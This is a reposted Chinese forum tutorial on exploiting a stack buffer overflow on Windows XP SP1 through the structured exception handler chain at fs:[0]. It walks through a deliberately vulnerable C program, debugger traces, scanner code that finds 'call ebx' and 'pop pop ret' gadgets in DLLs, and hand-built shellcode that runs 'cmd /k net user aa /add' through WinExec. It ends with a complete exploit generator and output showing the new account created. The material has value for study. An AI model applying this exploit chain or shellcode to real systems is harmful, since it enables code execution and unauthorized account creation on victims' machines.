[转载]WindowsXP下暂存区溢位及利用FS:[0]异常结构处理
<P>文章作者:Nanika<BR>信息来源:<A href="http://blog.donews.com/zwell/articles/132561.aspx">[url]http://blog.donews.com/zwell/articles/132561.aspx[/url]</A></P><P>测试系统<BR>WindowsXP_SP1<BR><BR>测试工具<BR>Visual C++ 6.0<BR>WDASM<BR>Ultraedit<BR>Softice<BR><BR>一、前言<BR>暂存区溢位,这个名词对于研究系统安全方面的人来说,一定不陌生,也有许多人写出利用方法,但大多数的人还是比较了解覆写EIP值后返回到DLL函数中的 Jmp ESP 并且当时的ESP刚好在Shellcode的地址上,Jmp ESP就刚刚好可以定位,使得我们不但可以改变程序原来的流程,且可以转入我们所设计的Shellcode,但其实还有别的办法来改变流程,例如堆栈中保 存的函数返回地址、预设异常处理指标UnhandleExceptionFilter、线程相关的异常处理fs:[0]。而我在研究CodeRed病毒 时,发现此病毒利用暂存区溢位,是覆写到Exception Handle也就是Fs:[0],当处理Windows正准备处理异常的时候,EBX刚好指向当前的异常结构,所以可以利用返回DLL函数中的Call EBX就可以定位Shellcode,<BR>但是我在WINDOWSXP_SP1下却没办法使用Call EBX来定位,这引起了我的兴趣,进而写了这篇,程序都是我自己写出来测试除错的,很可能有许多的错误,或是想法上的错误,如有错误,敬请指正。<BR><BR>二、线程异常处理结构<BR>通常每个线程初始化都准备好执行时fs指向一个TIB结构(Thread Imformation Block)在winnt.h和ntddk.h中﹐我们可以找到TIB结构的定义﹕<BR><BR>//<BR>//NT_TIB - Thread Information Block - Portable part.<BR>//<BR>//This is the subsystem portable part of the Thread Information Block.<BR>//It appears as the first part of the TEB for all threads which have<BR>//a user mode component.<BR>//<BR>//<BR><BR>// begin_winnt<BR><BR>typedef struct _NT_TIB {<BR>struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;<BR>PVOID StackBase;<BR>PVOID StackLimit;<BR>PVOID SubSystemTib;<BR>union {<BR>PVOID FiberData;<BR>ULONG Version;<BR>};<BR>PVOID ArbitraryUserPointer;<BR>struct _NT_TIB *Self;<BR>} NT_TIB;<BR>typedef NT_TIB *PNT_TIB;<BR>//<BR><BR>第一个member就是_EXCEPTION_REGISTRATION_RECORD指针, _EXCEPTION_REGISTRATION_RECORD结构又包括两个指针﹕第一个指针(从地址fs﹕[00000000]取得)指向前一个 _EXCEPTION_REGISTRATION_RECORD结构﹐而前一个_EXCEPTION_REGISTRATION_RECORD结构的第一 个指针又指向更前一个_EXCEPTION_REGISTRATION_RECORD结构﹐这样所有的 _EXCEPTION_REGISTRATION_RECORD 就形成了一个链(link)。<BR>如果还不懂,可以看下面的图<BR>fs:[0]-> <BR>_EXCEPTION_REGISTRATION struc <BR>prev dd ? ;前一个_EXCEPTION_REGISTRATION结构 <BR>handler dd ? ;异常处理入口<BR>_EXCEPTION_REGISTRATION ends<BR>把handler域换成你的程序入口,就可以在发生异常时调用你的程序了<BR><BR>而我们这次就需要覆写到handle异常处理入口<BR><BR>三、范例程序<BR>我们写一个程序来实际的操作一下<BR>#include <stdio.h> <BR>int main() <BR>{ <BR>char buffer[16]=""; <BR>FILE *fd=NULL; <BR>fd = fopen("files.txt","rb"); <BR>if(fd == NULL) <BR>return printf("不能开启files.txt檔,请确定\n"); <BR>fgets(buffer,1000,fd); <BR>return 0; <BR>}<BR><BR>这一个范例一看就知道了,有了明显的暂存区溢位,buffer只有16,但却可以读入1000个字符,此种溢位当然可以直接覆写EIP地址改写成Jmp ESP使用ESP来定位,但这就不在我们的范围之内,并且有很多的文章都是有关这种利用方法。<BR><BR>我们继续下去<BR>我们把这个程序使用Release模式来编译<BR>然后,把它反组译一下,得到如下的程序<BR>:0040112B 55push ebp<BR>:0040112C 8BECmov ebp, esp<BR>:0040112E 6AFFpush FFFFFFFF<BR>:00401130 68B0604000push 004060B0<BR>:00401135 6840284000push 00402840--这里就是异常处理入口<BR>:0040113A 64A100000000mov eax, dword ptr fs:[00000000]-这是前一个异常处理结构<BR>:00401140 50push eax<BR>:00401141 64892500000000mov dword ptr fs:[00000000], esp---将FS:[0]指向新的异常结构<BR>:00401148 83EC10sub esp, 00000010<BR>:0040114B 53push ebx<BR>:0040114C 56push esi<BR>:0040114D 57push edi<BR>:0040114E 8965E8mov dword ptr [ebp-18], esp<BR><BR>显然我们要覆写的目标就在push 00402840异常处理入口,我们要将此处改写成Call EBX就可以来定位Shellcode了<BR>就来实际测试一下,我们创立一个文字文件然后里面放入20个a字符,然后利用WDASM来除错,断点设在004011da,F2设断点<BR>:004011DA E821FEFFFFcall 00401000-会押入下一个程序004011df地址然后再jmp 00401000<BR>:004011DF 83C40Cadd esp, 0000000C<BR>:004011E2 8945E4mov dword ptr [ebp-1C], eax<BR>:004011E5 50push eax<BR><BR>我们按下f7跟进去004011da<BR>:00401000 83EC10sub esp, 00000010<BR>:00401003 A0F0784000mov al, byte ptr [004078F0]<BR>:00401008 33C9xor ecx, ecx<BR>:0040100A 894C2401mov dword ptr [esp+01], ecx<BR><BR>* Possible StringData Ref from Data Obj ->"rb"<BR>|<BR>:0040100E 6858704000push 00407058<BR>:00401013 894C2409mov dword ptr [esp+09], ecx<BR><BR>* Possible StringData Ref from Data Obj ->"files.txt"<BR>|<BR>:00401017 684C704000push 0040704C<BR>:0040101C 894C2411mov dword ptr [esp+11], ecx<BR>:00401020 88442408mov byte ptr [esp+08], al<BR>:00401024 66894C2415mov word ptr [esp+15], cx<BR>:00401029 884C2417mov byte ptr [esp+17], cl<BR>:0040102D E8E6000000call 00401118<BR>:00401032 83C408add esp, 00000008<BR>:00401035 85C0test eax, eax<BR>:00401037 7511jne 0040104A<BR><BR>* Possible StringData Ref from Data Obj ->"不能开启files.txt檔,请确定<BR>"<BR>|<BR>:00401039 6830704000push 00407030<BR>:0040103E E884000000call 004010C7<BR>:00401043 83C404add esp, 00000004<BR>:00401046 83C410add esp, 00000010<BR>:00401049 C3ret<BR><BR><BR><BR>* Referenced by a (U)nconditional or (C)onditional Jump at Address:<BR>|:00401037(C)<BR>|<BR>:0040104A 50push eax<BR>:0040104B 8D542404lea edx, dword ptr [esp+04]<BR>:0040104F 68E8030000push 000003E8<BR>:00401054 52push edx<BR>:00401055 E816000000call 00401070--此处就是暂存区押入堆栈的地方<BR>:0040105A 83C40Cadd esp, 0000000C<BR>:0040105D 33C0xor eax, eax<BR>:0040105F 83C410add esp, 00000010<BR>:00401062 C3ret<BR><BR>覆盖之前堆栈中的内容<BR><BR><IMG src="http://www.nsfocus.net/magazine_upload/39_image001.png" border=0><BR><BR>call 00401070 押入堆栈之后<BR><BR><IMG src="http://www.nsfocus.net/magazine_upload/39_image003.png" border=0> <BR><BR>注意到了没?原来的返回地址004011df地址已经覆写成61616161<BR>所以我们返回后是EIP 61616161这个地址,所以产生错误<BR>对了,我们这次的利用方法是要利用Fs:[0]所以需要找一下在堆栈的那个部分,然后继续覆盖过去<BR><BR><IMG src="http://www.nsfocus.net/magazine_upload/39_image005.png" border=0><BR><BR>四、利用方法<BR>esp = 0012ff68+4c=0012ffb4---这个地址就是我们所要覆写的地址00402840异常处理入口,我们建立一个文 字文件,内有68个字符就可以覆盖到异常入口地址,也就是在此处填入call ebx就可以跳到上一个结构,也就是在0012ffb0的这个地址,至于要如何填入call ebx呢?我们就使用返回至DLL函数中的地址,但必须是要此漏洞程序加载后的,我们的这个程序写得很简单,所以也只有Kernel32.dll加载,所 以从这里面寻找FF D3我们从JASON先生的文章中所写的程序来寻找<BR>CWinApp theApp; <BR><BR>using namespace std; <BR><BR>int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) <BR>{ <BR> int nRetCode = 0; <BR><BR> // initialize MFC and print and error on failure <BR> if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) <BR> { <BR>// TODO: change error code to suit your needs <BR>cerr << _T("Fatal Error: MFC initialization failed") << endl; <BR>nRetCode = 1; <BR> } <BR> else <BR> { <BR>#if 0 <BR>return 0; <BR>__asm call ebx<BR><BR>#else <BR><BR>bool we_loaded_it = false; <BR> HINSTANCE h; <BR>TCHAR dllname[] = _T("User32"); <BR><BR> if(argc>1){<BR> strcpy(dllname,argv[1]);<BR> }<BR><BR> h = GetModuleHandle(dllname); <BR> if(h == NULL) <BR> { <BR>h = LoadLibrary(dllname); <BR> if(h == NULL) <BR> { <BR> cout<<"ERROR LOADING DLL: "<<dllname<<endl; <BR> return 1; <BR> } <BR> we_loaded_it = true; <BR> } <BR><BR> BYTE* ptr = (BYTE*)h; <BR> bool done = false; <BR> for(int y = 0;!done;y++) <BR> { <BR>try <BR>{ <BR> if(ptr[y] == 0xff && ptr[y+1] == 0xd3) <BR> { <BR> int pos = (int)ptr + y; <BR> cout<<"OPCODE found at 0x"<<hex<<pos<<endl; <BR> } <BR>} <BR>catch(...) <BR>{ <BR> cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl; <BR> done = true; <BR>} <BR> } <BR><BR><BR><BR>if(we_loaded_it) FreeLibrary(h); <BR>#endif <BR> } <BR> return nRetCode; <BR>}<BR>我们把程序编译好,执行后,<BR>C:\>callebx kernel32<BR>OPCODE found at 0x77e426ba<BR>OPCODE found at 0x77e42d94<BR>OPCODE found at 0x77e42eac<BR>OPCODE found at 0x77e439ad<BR>OPCODE found at 0x77e43be2<BR>………………………………….太多了<BR>END OF kernel32 MEMORY REACHED<BR><BR>在Kernel32中找到许多call ebx的地址<BR><BR>我们把这个地址填入文字文件中,也就是要覆写0012ffb4堆栈中的内容,改写成<BR>77e426ba,当然押入需要填入的内容是ba26e477,我们就来测试一下,是否ebx就可以定位,当我们返回61616161之后当然会出现错误,然后程序就跳入<BR>.text:77FB4DAF public KiUserExceptionDispatcher<BR>.text:77FB4DAF KiUserExceptionDispatcher proc near<BR>.text:77FB4DAF <BR>.text:77FB4DAF var_14= dword ptr -14h<BR>.text:77FB4DAF var_10= dword ptr -10h<BR>.text:77FB4DAF var_C = dword ptr -0Ch<BR>.text:77FB4DAF var_4 = dword ptr -4<BR>.text:77FB4DAF arg_0 = dword ptr4<BR>.text:77FB4DAF <BR>.text:77FB4DAF mov ecx, [esp+arg_0]<BR>.text:77FB4DB3 mov ebx, [esp+0]<BR>.text:77FB4DB6 pushecx<BR>.text:77FB4DB7 pushebx<BR>.text:77FB4DB8 callsub_0_77F60B69 ---我们继续跟进去<BR>.text:77FB4DBD oral, al<BR>.text:77FB4DBF jzshort loc_0_77FB4DCD<BR>.text:77FB4DC1 pop ebx<BR>.text:77FB4DC2 pop ecx<BR>.text:77FB4DC3 push0<BR>.text:77FB4DC5 pushecx<BR>.text:77FB4DC6 callZwContinue<BR>.text:77FB4DCB jmp short loc_0_77FB4DD8<BR><BR>程序来到<BR>.text:77F60B69 ; Attributes: bp-based frame<BR>.text:77F60B69 <BR>.text:77F60B69 sub_0_77F60B69proc near ; CODE XREF: KiUserExceptionDispatcher+9 p<BR>.text:77F60B69 <BR>.text:77F60B69 var_10= byte ptr -10h<BR>.text:77F60B69 var_8 = dword ptr -8<BR>.text:77F60B69 var_4 = dword ptr -4<BR>.text:77F60B69 arg_0 = dword ptr8<BR>.text:77F60B69 arg_4 = dword ptr0Ch<BR>.text:77F60B69 <BR>.text:77F60B69 pushebp<BR>.text:77F60B6A mov ebp, esp<BR>.text:77F60B6C sub esp, 60h<BR>.text:77F60B6F pushesi<BR>.text:77F60B70 push[ebp+arg_4]<BR>.text:77F60B73 mov esi, [ebp+arg_0]<BR>.text:77F60B76 pushesi<BR>.text:77F60B77 callsub_0_77F60C26<BR>.text:77F60B7C testal, al<BR>.text:77F60B7E jnz loc_0_77F87B6F<BR>.text:77F60B84 pushebx<BR>.text:77F60B85 pushedi<BR>.text:77F60B86 lea eax, [ebp+var_8]<BR>.text:77F60B89 pusheax<BR>.text:77F60B8A lea eax, [ebp+var_4]<BR>.text:77F60B8D pusheax<BR>.text:77F60B8E callsub_0_77F79CCF<BR>.text:77F60B93 callsub_0_77F79CEA<BR>.text:77F60B98 and [ebp+arg_0], 0<BR>.text:77F60B9C mov ebx, eax<BR>.text:77F60B9E <BR>.text:77F60B9E loc_0_77F60B9E: ; CODE XREF: sub_0_77F60B69+B8 j<BR>.text:77F60B9E cmp ebx, 0FFFFFFFFh<BR>.text:77F60BA1 jzloc_0_77F727F1<BR>.text:77F60BA7 cmp ebx, [ebp+var_4]<BR>.text:77F60BAA jbloc_0_77F727F8<BR>.text:77F60BB0 lea eax, [ebx+8]<BR>.text:77F60BB3 cmp eax, [ebp+var_8]<BR>.text:77F60BB6 jaloc_0_77F727F8<BR>.text:77F60BBC testbl, 3<BR>.text:77F60BBF jnz loc_0_77F727F8<BR>.text:77F60BC5 mov eax, [ebx+4]<BR>.text:77F60BC8 cmp eax, [ebp+var_4]<BR>.text:77F60BCB jbshort loc_0_77F60BD6<BR>.text:77F60BCD cmp eax, [ebp+var_8]<BR>.text:77F60BD0 jbloc_0_77F727F8<BR>.text:77F60BD6 <BR>.text:77F60BD6 loc_0_77F60BD6: ; CODE XREF: sub_0_77F60B69+62 j<BR>.text:77F60BD6 testbyte_0_77FC324A, 80h<BR>.text:77F60BDD jnz loc_0_77F87B76<BR>.text:77F60BE3 <BR>.text:77F60BE3 loc_0_77F60BE3: ; CODE XREF: .text:77F87B87 j<BR>.text:77F60BE3 pushdword ptr [ebx+4]<BR>.text:77F60BE6 lea eax, [ebp+var_10]<BR>.text:77F60BE9 pusheax<BR>.text:77F60BEA push[ebp+arg_4]<BR>.text:77F60BED pushebx<BR>.text:77F60BEE pushesi<BR>.text:77F60BEF callsub_0_77F79B46---我们跟 进去此处<BR>.text:77F60BF4 testbyte_0_77FC324A, 80h<BR>.text:77F60BFB mov edi, eax<BR>.text:77F60BFD jnz loc_0_77F87B8C<BR>.text:77F60C03 <BR>.text:77F60C03 loc_0_77F60C03: ; CODE XREF: .text:77F87B95 j<BR>.text:77F60C03 cmp [ebp+arg_0], ebx<BR>.text:77F60C06 jzloc_0_77F87B9A<BR>.text:77F60C0C <BR>.text:77F60C0C loc_0_77F60C0C: ; CODE XREF: .text:77F87BA2 j<BR>.text:77F60C0C mov eax, edi<BR>.text:77F60C0E xor ecx, ecx<BR>.text:77F60C10 sub eax, ecx<BR>.text:77F60C12 jzloc_0_77F74056<BR>.text:77F60C18 dec eax<BR>.text:77F60C19 jnz loc_0_77F87BA7<BR>.text:77F60C1F <BR>.text:77F60C1F loc_0_77F60C1F: ; CODE XREF: .text:77F87BBD j<BR>.text:77F60C1F ; .text:77F87BC6 j ...<BR>.text:77F60C1F mov ebx, [ebx]<BR>.text:77F60C21 jmp loc_0_77F60B9E<BR>.text:77F60C21 sub_0_77F60B69endp<BR><BR>程序来到<BR>.text:77F79B46 sub_0_77F79B46proc near ; CODE XREF: sub_0_77F60B69+86 p<BR>.text:77F79B46 mov edx, offset loc_0_77F79BB8<BR>.text:77F79B4B jmp short loc_0_77F79B54 ---继续跟进<BR>.text:77F79B4B sub_0_77F79B46endp<BR><BR>程序来到<BR>.text:77F79B4D _RtlpExecuteHandlerForUnwind@20 proc near ; CODE XREF:<BR>RtlUnwind(x,x,x,x)+BD p<BR><BR>.text:77F79B4D sub_0_77F79B4Dproc near ; CODE XREF: RtlUnwind+BD p<BR>.text:77F79B4D <BR>.text:77F79B4D arg_0 = dword ptr4<BR>.text:77F79B4D arg_4 = dword ptr8<BR>.text:77F79B4D arg_8 = dword ptr0Ch<BR>.text:77F79B4D arg_C = dword ptr10h<BR>.text:77F79B4D arg_10= dword ptr14h<BR>.text:77F79B4D <BR>.text:77F79B4D mov edx, offset loc_0_77F79BDF<BR>.text:77F79B52 lea ecx, [ecx]<BR>.text:77F79B54 <BR>.text:77F79B54 loc_0_77F79B54: ; CODE XREF: sub_0_77F79B46+5 j<BR>.text:77F79B54 ExecuteHandler@20:; CODE XREF:<BR>RtlpExecuteHandlerForException(x,x,x,x,x)+5 j<BR><BR>.text:77F79B54 pushebx<BR>.text:77F79B55 pushesi<BR>.text:77F79B56 pushedi<BR>.text:77F79B57 xor eax, eax<BR>.text:77F79B59 xor ebx, ebx<BR>.text:77F79B5B xor esi, esi<BR>.text:77F79B5D xor edi, edi<BR>.text:77F79B5F push[esp+0Ch+arg_10]<BR>.text:77F79B63 push[esp+10h+arg_C]<BR>.text:77F79B67 push[esp+14h+arg_8]<BR>.text:77F79B6B push[esp+18h+arg_4]<BR>.text:77F79B6F push[esp+1Ch+arg_0]<BR>.text:77F79B73 callsub_0_77F79B7E-------继续跟进<BR>.text:77F79B78 pop edi<BR>.text:77F79B79 pop esi<BR>.text:77F79B7A pop ebx<BR>.text:77F79B7B retn14h<BR>.text:77F79B7B sub_0_77F79B4Dendp<BR>.text:77F79B7B<BR>.text:77F79B7B _RtlpExecuteHandlerForUnwind@20 endp<BR><BR>最后来到此处<BR>.text:77F79B7E ; Attributes: bp-based frame<BR>.text:77F79B7E <BR>.text:77F79B7E sub_0_77F79B7Eproc near ; CODE XREF: sub_0_77F79B4D+26 p<BR>.text:77F79B7E <BR>.text:77F79B7E arg_0 = dword ptr8<BR>.text:77F79B7E arg_4 = dword ptr0Ch<BR>.text:77F79B7E arg_8 = dword ptr10h<BR>.text:77F79B7E arg_C = dword ptr14h<BR>.text:77F79B7E arg_10= dword ptr18h<BR>.text:77F79B7E <BR>.text:77F79B7E pushebp<BR>.text:77F79B7F mov ebp, esp<BR>.text:77F79B81 push[ebp+arg_4]<BR>.text:77F79B84 pushedx<BR>.text:77F79B85 pushlarge dword ptr fs:0<BR>.text:77F79B8C mov large fs:0, esp<BR>.text:77F79B93 push[ebp+arg_C]<BR>.text:77F79B96 push[ebp+arg_8]<BR>.text:77F79B99 push[ebp+arg_4]<BR>.text:77F79B9C push[ebp+arg_0]<BR>.text:77F79B9F mov ecx, [ebp+arg_10]<BR>.text:77F79BA2 callecx --此处就是我们覆写为Kernel32 .dll 中的call ebx的地址<BR>.text:77F79BA4 mov esp, large fs:0<BR>.text:77F79BAB pop large dword ptr fs:0<BR>.text:77F79BB2 mov esp, ebp<BR>.text:77F79BB4 pop ebp<BR>.text:77F79BB5 retn14h<BR>.text:77F79BB5 sub_0_77F79B7Eendp<BR>.text:77F79BB5<BR><BR><IMG src="http://www.nsfocus.net/magazine_upload/39_image007.png" border=0><BR><IMG src="http://www.nsfocus.net/magazine_upload/39_image009.png" border=0><BR><BR>注意到图片中的ECX中的值这里就是刚刚的call ebx的地址<BR>但是各位有没有发现在此处EBX并没有指向当前异常处理结构,他竟然是0,这个结果真的让我很讶异,这样改写为call ebx也只会又产生错误,这样根本就不可以执行到我们的shellcode<BR>我们继续测试下去<BR>跟进去刚刚call ecx<BR><BR><IMG src="http://www.nsfocus.net/magazine_upload/39_image011.png" border=0><BR><BR>果然真的没有办法指向当前异常处理结构<BR>我一直在这边绕了很久,为什么XP下没有办法使用EBX定位呢?<BR>应该要就此放弃吗?<BR>当然不!我在想既然返回地址EBX如果不行,一定还有别的办法来解决定位的问题<BR><BR>五、另一种定位方法<BR>我仔细的看一下堆栈中的内容,发现了,解决的办法了!<BR>由上一个图可以看到堆栈里面其实还是有;当前异常处理的前一个地址在里面,就是0012ffb0,那我要如何跳到此处呢?我使用了一个办法我在dll中寻 找两次pop取出堆栈数据,然后再一个ret就可以返回到0012ffb0当前异常处理结构的前一个地址,就可以用来定位。<BR>我随意的使用<BR>Pop edi <BR>pop esi<BR>ret<BR>然后改写了搜索DLL的程序<BR>如下<BR>CWinApp theApp; <BR><BR>using namespace std; <BR><BR>int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) <BR>{ <BR> int nRetCode = 0; <BR><BR> // initialize MFC and print and error on failure <BR> if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) <BR> { <BR>// TODO: change error code to suit your needs <BR>cerr << _T("Fatal Error: MFC initialization failed") << endl; <BR>nRetCode = 1; <BR> } <BR> else <BR> { <BR>#if 0 <BR>return 0; <BR>__asm pop di<BR>pop si<BR>ret<BR><BR>#else <BR><BR>bool we_loaded_it = false; <BR> HINSTANCE h; <BR>TCHAR dllname[] = _T("User32"); <BR><BR> if(argc>1){<BR> strcpy(dllname,argv[1]);<BR> }<BR><BR> h = GetModuleHandle(dllname); <BR> if(h == NULL) <BR> { <BR>h = LoadLibrary(dllname); <BR> if(h == NULL) <BR> { <BR> cout<<"ERROR LOADING DLL: "<<dllname<<endl; <BR> return 1; <BR> } <BR> we_loaded_it = true; <BR> } <BR><BR> BYTE* ptr = (BYTE*)h; <BR> bool done = false; <BR> for(int y = 0;!done;y++) <BR> { <BR>try <BR>{ <BR> if(ptr[y] == 0x5f && ptr[y+1] == 0x5e && ptr[y+2] == 0xc3)//重要的更改部分 <BR> { <BR> int pos = (int)ptr + y; <BR> cout<<"OPCODE found at 0x"<<hex<<pos<<endl; <BR> } <BR>} <BR>catch(...) <BR>{ <BR> cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl; <BR> done = true; <BR>} <BR> } <BR><BR><BR><BR>if(we_loaded_it) FreeLibrary(h); <BR>#endif <BR> } <BR> return nRetCode; <BR>}<BR>然后编译后,执行寻找此利用处的地址,我在Kernel32中找到了0x77e5633a这个地址,然后建立一个文字文件<BR><BR><IMG src="http://www.nsfocus.net/magazine_upload/39_image013.png" border=0><BR><BR>然后我们就来测试一下<BR>就跟上面叙述的方法一样,我们跟踪到.text:77F79BA2call ecx的地方<BR>然后跟进去<BR><BR><IMG src="http://www.nsfocus.net/magazine_upload/39_image015.png" border=0><BR><BR>当pop两次之后,就可以返回到,当前异常处理结构中前一个地址了,也就是0012ffb0的地方,也就是ret之后,就跳到0012ffb0的地方来执行程序代码,我们终于成功了,可以定位shellcode了。<BR><BR>六、简单的Shellcode<BR>很多人都说,溢出的利用方法很容易理解,但是难点在于shellcode的编写,<BR>我自己也觉得,写shellcode真的蛮麻烦的,现在就把我学习的一些些经验,跟大家叙述一下,<BR>既然是shellcode也就必须要了解最低阶的汇编,在win下api函数的呼叫方式,<BR>比如说对一个Windows API 如 MessageBox﹐在手册中是如此定义的﹕<BR><BR>int MessageBox(<BR>HWND hWnd,// handle of owner window<BR>LPCTSTR lpText,// address of text in message box<BR>LPCTSTR lpCaption,// address of title of message box<BR>UINT uType// style of message box<BR> );<BR><BR>那么在汇编中就可以这样调用它﹕<BR><BR>pushuType<BR>pushlpCaption<BR>pushlpText<BR>pushhWnd<BR>callMessageBox<BR><BR><BR>这样有一些概念了吧!<BR>当我们呼叫api函数时,是先参数押入堆栈中,然后呼叫此api在DLL函数中的地址。<BR>可是我们有漏洞的程序中,因为写的很简单,只有加载了,kernel32此DLL,但是我们如果要写复杂的Shellcode,势必需要从 kernel32中暴力求取LoadLibraryA、GetProcAddress,但是、我们的堆栈中的地址,太小了,buffer也只有16,再加 上覆盖到异常结构的地址中间的差额,也不够来写一个复杂的shellcode,所以,我们只能利用kernel32本身中的API函数,在寻找api函数 中,找到了一个winexec的函数,<BR>UINT WinExec(<BR>LPCSTR lpCmdLine,// address of command line<BR>UINT uCmdShow// window style for new application<BR>);<BR>此函数可以让我们来执行一个cmd.exe<BR>现在就来测试一下<BR>_shellcode:<BR>00421A30 68 C1 15 35 09 push93515C1h<BR>00421A35 81 2C 24 80 D1 F0 08sub dword ptr [esp],8F0D180h<BR>00421A3C 68 61 61 20 2F push2F206161h<BR>00421A41 68 73 65 72 20 push20726573h<BR>00421A46 68 65 74 20 75 push75207465h<BR>00421A4B 68 2F 6B 20 6E push6E206B2Fh<BR>00421A50 68 63 6D 64 20 push20646D63h<BR>00421A55 8B C4mov eax,esp<BR>00421A57 6A 01push1<BR>00421A59 50 pusheax<BR>00421A5A B8 35 FD E4 77 mov eax,77E4FD35h<BR>00421A5F FF D0calleax<BR>前面的两行为<BR>push 93515c1h<BR>sub dword ptr [esp],8F0D180h<BR>这是为了建构一个结束字符00所以使用此方法<BR>执行后堆栈内为ADD.也就是41 44 44 00<BR>然后为<BR>0012FF7063 6D 64 20cmd <BR>0012FF742F 6B 20 6E/k n<BR>0012FF7865 74 20 75et u<BR>0012FF7C73 65 72 20ser <BR>0012FF8061 61 20 2Faa /<BR>0012FF8441 44 44 00ADD.<BR>有没有看起来很熟悉<BR>我们所押入的参数就是cmd /k net user aa /add<BR>大家应该知道这个指令吧!<BR>建立一个使用者为aa<BR>然后为<BR>mov eax,esp<BR>将esp的地址mov到eax<BR>也就是把eax指向0012ff70 cmd的地址<BR>00421A57 6A 01push1<BR>现在开始押入参数,由右往左依序押入<BR>00421A59 50 pusheax<BR>押入刚刚的命令行参数地址<BR>00421A5A B8 35 FD E4 77 mov eax,77E4FD35h<BR>这里就是winexec的地址77e4fd35<BR>每一个版本,此地址都有可能不一样,如果你要自己寻找,可以使用softice,或是利用,dumpbin指令来取得,把kernel32 dump出来函数地址,再加上kernel32基址的地址,就可以了<BR>00421A5F FF D0calleax<BR>最后call eax就是呼叫api函数<BR><BR>执行后我们net user看看<BR>C:\>net user<BR><BR>\\Student 的使用者账户<BR><BR>-------------------------------------------------------------------------------<BR>AdministratorGuestNanika<BR>aa <BR>命令执行成功。<BR>成功的写出了一个简单的shellcode了吧!<BR>另外因为我们的程序发生了异常,所以执行完我们的shellcode后并不会结束,而是陷入了无穷循环,所以我们必须要把异常结构恢复,但很麻烦,所以我利用一个简单的办法,就是呼叫ExitProcess,来结束我们的行程<BR>VOID ExitProcess(<BR>UINT uExitCode // exit code for all threads<BR>);<BR>这里实现API呼叫比较简单只需要call ExitProcess的api函数地址就可以了<BR>我们使用<BR>mov eax 77e598fd<BR>call eax<BR>就可以完成结束行程<BR><BR>七、实现过程<BR>现在我们必须要建立一个文字文件,并且加入我们的shellcode在当中<BR>,我们要加入到哪里呢?这又引发了一个问题,我们两次pop然后ret是在当前异常处理结构前一个地址,0012ffb0中,但是我们的下一个地址0012ffb4,是我们覆盖为dll中的两次pop、ret 的地址,所以我们必须要把异常处理的前一个地址加入为<BR>eb 06 90 90使用此值来覆盖,这也就是jmp 06就是跳过0012ffb4的地址,然后到达,0012ffb8的地址,就从这里来写入shellcode来完成我们的攻击。<BR>漏洞利用程序<BR>#include <stdio.h> <BR>int main() <BR>{<BR>int i;<BR>char buffer[127]="";<BR>unsigned char shellcode[]=<BR>"\x68\xC1\x15\x35\x09\x81\x2C\x24\x80\xD1\xF0\x08"<BR>"\x68\x61\x61\x20\x2f\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x6b\x20\x6e"<BR>"\x68\x63\x6d\x64\x20\x8b\xc4\x6a\x01\x50\xb8\x35\xfd\xe4\x77\xff\xd0\xb8\xfd\x98\xe5\x77\xff\xd0";<BR><BR><BR>FILE *fd=NULL; <BR>fd = fopen("files.txt","w+"); <BR><BR>for(i=0;i<sizeof(buffer);) //先把堆栈填满90也就是nop<BR>{<BR>buffer[i++]=0x90;<BR>}<BR>*(unsigned int *)&buffer[60]=0x909006eb; //前一个异常处理结构的地址改写成jmp 06<BR>*(unsigned int *)&buffer[64]=0x77e5633a; //异常处理入口改写成DLL函数库中的两次pop ret<BR>memcpy(&buffer[sizeof(buffer)-strlen(shellcode)-1],shellcode,strlen(shellcode));<BR>buffer[sizeof(buffer)-1]=0;<BR>fprintf(fd,"%s",buffer); <BR>fclose(fd); <BR>return 0; <BR>}<BR>此程序建立了一个文字文件files.txt<BR><BR>八、漏洞利用成果<BR>我们把有漏洞的程序和利用程序所建构出来的文字文件放入,然后执行有漏洞的程序,就会发现了,我们成功的改变了程序的流程,转入我们的shellcode,开了一个cmd窗口并且加入了账号aa<BR>命令执行成功。<BR><BR><BR>C:\Documents and Settings\Nanika\桌面\Release>net user<BR><BR>\\Student 的使用者账户<BR><BR>-------------------------------------------------------------------------------<BR>aa Administrator Nanika 命令执行成功。<BR><BR><BR>C:\Documents and Settings\Nanika\桌面\Release><BR><BR>九、结论<BR>这次的漏洞利用,再度展现了,暂存区溢位的严重性,且不只有一种方法来转入我们所建构的恶意程序,只要我们可以从漏洞程序所加载的DLL中寻找到可以利用 的机器码,就可以使用返回DLL中的程序来达到我们定位的功能,此次漏洞的利用,我还没有在别的系统上测试过,可能在别的系统上,不能通用两次pop、 ret,而多线程的程序,可能也不能够通用,但重点是在于对漏洞的调试过程和如何定位的研究,了解系统安全,必须要先了解系统,在LINUX下因为开放原 始码,使得人人都比较容易了解内部核心和架构,但在WIN下就不同了,除了等M$发布一些技术文章外,就只能等高手来研究核心后,在网络上发表了,虽然核 心这种底层的东西,并不需要人人都能够了解,但了解后就可以对写程序上,增加了许多解决的办法。<BR><BR><BR>参考文献<BR><BR>[url]http://msdn.microsoft.com/[/url]<BR><BR>[url]http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662[/url]<BR>第五章 Exploit Microsoft INTERNET INFORMATION SERVER<BR>作者:莫大 master_moda@yahoo.com<BR><BR>[url]http://www.finalseraph.org/hume/asmdata/SEHinASM.htm[/url]<BR>SEHin ASM 研究<BR>By Hume/冷雨飘心<BR><BR>[url]http://0xc0ffee.com/papers/buffer_overflow/Jason[/url]'s%20Buffer%20Windows%20NT%20Overflow%20Paper.htm<BR>Windows NT Buffer Overflow's From Start to Finish<BR>jason_jordan@omron.com<BR><BR></P>
<P id=TBPingURL>Trackback: [url]http://tb.donews.net/TrackBack.aspx?PostId=132561[/url]</P>
页:
[1]